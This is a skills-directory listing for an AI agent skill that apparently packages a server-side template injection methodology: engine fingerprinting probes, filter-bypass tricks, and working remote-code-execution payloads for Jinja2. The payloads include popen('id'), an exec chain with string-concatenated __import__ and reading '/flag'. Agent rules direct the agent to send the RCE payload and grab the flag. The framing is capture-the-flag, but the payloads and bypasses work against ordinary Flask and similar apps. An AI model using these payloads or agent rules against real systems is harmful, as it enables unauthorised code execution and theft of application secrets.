Skip to content
Back to skills

Ssti Methodology

ASecurity

SSTI: engine fingerprint, arithmetic fork, sandbox escape, RCE

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 29, 2026
developmentpythongojavarubyphpnodeexpressdjangoflaskspring

Security analysis

A100/100

Pro scans all 4 files and shows the line behind each finding

Scanned November 29, 2026

npx -y skills add blackfoxxx/kestrel --skill ssti-methodology --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Ssti Methodology?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Ssti Methodology
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/blackfoxxx-ssti-methodology/badge)](https://www.skillsdirectory.com/skills/blackfoxxx-ssti-methodology)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: ssti-methodology
description: "SSTI: engine fingerprint, arithmetic fork, sandbox escape, RCE"
metadata:
  tags: "ssti,template injection,template-injection,server-side template injection,jinja2,django,twig,mako,rce,sandbox-escape"
  category: "exploit"
---

# SSTI Server-Side Template Injection Methodology

## ⛔ Deep-dive references (read the matching file once the engine is confirmed)

- Full Jinja2 exploitation chain (context variables → file read → RCE) → [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
- Twig/Mako/FreeMarker/Pug/Django exploitation and filter bypass → [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
- Multi-engine RCE payload cheat sheet and sandbox escape → [references/multi-engine-payloads.md](references/multi-engine-payloads.md)

---

## Phase 0: Locate the injection point (do this first!)

**Do not blindly throw SSTI payloads at every parameter!** First pin down which parameters get rendered by the template:

1. Use analyze_response to see which parameter values **appear in the response**
2. Only parameters that are **echoed back to the page** can be injection points
3. Common echoed parameters: `name`, `username`, `message`, `greeting`, `template`, `title`, `q`, `search`

**Trap**: HTML-escaped echoes (`<` → `&lt;`) can still be template-rendered — `{{7*7}}` may well fire.

## Phase 1: Detect template injection (decision tree)

```
Step 1: send {{7*7}}
  → returns 49 → go to Step 2
  → returned unchanged → not Jinja2/Twig, go to Step 3
  → empty/error → possibly filtered, try {{7*'7'}}

Step 2: send {{7*'7'}}
  → returns 7777777 → Jinja2 (Python) ★most common
  → returns 49 → Twig (PHP)

Step 3: send ${7*7}
  → returns 49 → Java EL / Mako / FreeMarker
Step 4: send #{7*7}
  → returns 49 → Ruby ERB or Pug
```

## Phase 2: Engine identification reference table

| Engine | Language | Server-header clue | Confirmation method |
|------|------|-------------|---------|
| Jinja2 | Python/Flask | Werkzeug, gunicorn | `{{config}}` produces output |
| Django | Python | WSGIServer | `{{settings.DEBUG}}` |
| Twig | PHP | Apache+PHP | `{{_self.env.display('id')}}` |
| Mako | Python | - | `${self.module.__builtins__}` |
| FreeMarker | Java | Tomcat, Spring | `${.now}` returns the current time |
| Pug/Jade | Node.js | Express | `#{7*7}` returns 49 |

## Phase 3: Exploitation decision tree

```
confirm the engine type
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│   priority: context variables → config → file read → RCE (lipsum chain)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│   no RCE! priority: context-variable exhaustion → request.META → settings → admin path discovery
└─ filtered? → [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md) (the bypass section)
```

**Jinja2 cheat sheet** (full payloads → [references/jinja2-exploitation.md](references/jinja2-exploitation.md)):
```
{{lipsum.__globals__['os'].popen('id').read()}}       # first-choice RCE
{{config}}                                              # read configuration
```

## Notes
- **Simple before complex**: context variables → config → file read → RCE
- **URL encoding**: when injecting into GET parameters, `{{` and `}}` need encoding
- **Error messages**: 500 pages may leak the engine type and Python version

## Phase 4: Advanced exploitation techniques

### 4.1 Subclass walking and payload construction
- Use a `for` loop with `enumerate` to walk the subclass list
- Target classes: `os._wrap_close`, `subprocess.Popen`
- Conditional filter: `if 'popen' in str(cls)` — string matching to filter candidates
- Indexes differ across environments, so look them up dynamically rather than hardcoding

### 4.2 Filter-bypass tricks
- Pass data externally: `?a=__class__&b=__mro__`, reference it in the template with `request.args.a`
- The filter only inspects template content, not URL parameters
- Split the payload: separate the injection point from the data point
- When keywords are filtered, reach os/builtins through `__globals__` and bypass with string concatenation:
  ```python
  {{ lipsum.__globals__['os'].popen('cat /flag').read() }}
  {{ request.__class__.__init__.__globals__.__builtins__.exec("__imp"+"ort__('o'+'s').system('id')") }}
  ```

### 4.3 Exploitation order
- Highest priority: try the simple things first, direct variable access (`{{config}}`)
- Order: confirm before exploiting, identify the engine before picking a payload
- Final step: send the RCE payload via http_request to grab the flag

## ⛔ Agent behavior rules

### ⛔ NEVER
- NEVER try an RCE payload before the template engine type is confirmed
- NEVER try RCE against a Django template — Django can only read context variables
- NEVER skip the simple variable tests `{{flag}}` `{{config}}` `{{secret}}` and jump straight to complex chains
- NEVER start exploiting without reading the references once the engine is confirmed

### ✅ ALWAYS
- ALWAYS confirm the engine type with probe payloads first (`{{7*7}}` `${7*7}` `<%= 7*7 %>` `{7*7}`)
- ALWAYS read references/jinja2-exploitation.md immediately after confirming Jinja2
- ALWAYS read references/other-engines-and-bypass.md immediately after confirming another engine
- ALWAYS try simple context variables first (`{{flag}}` `{{app.config}}`) before attempting RCE chains

### 🔧 Tool preferences
1. `http_request` — template injection testing (precise control over the input point)
2. Reading reference files — read the matching reference immediately once the engine is confirmed
3. `python3` — encoding/constructing complex payloads

Files in this skill

  • SKILL.md5.9 KB
  • references/jinja2-exploitation.md1.6 KB
  • references/multi-engine-payloads.md5.6 KB
  • references/other-engines-and-bypass.md6.3 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in development →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.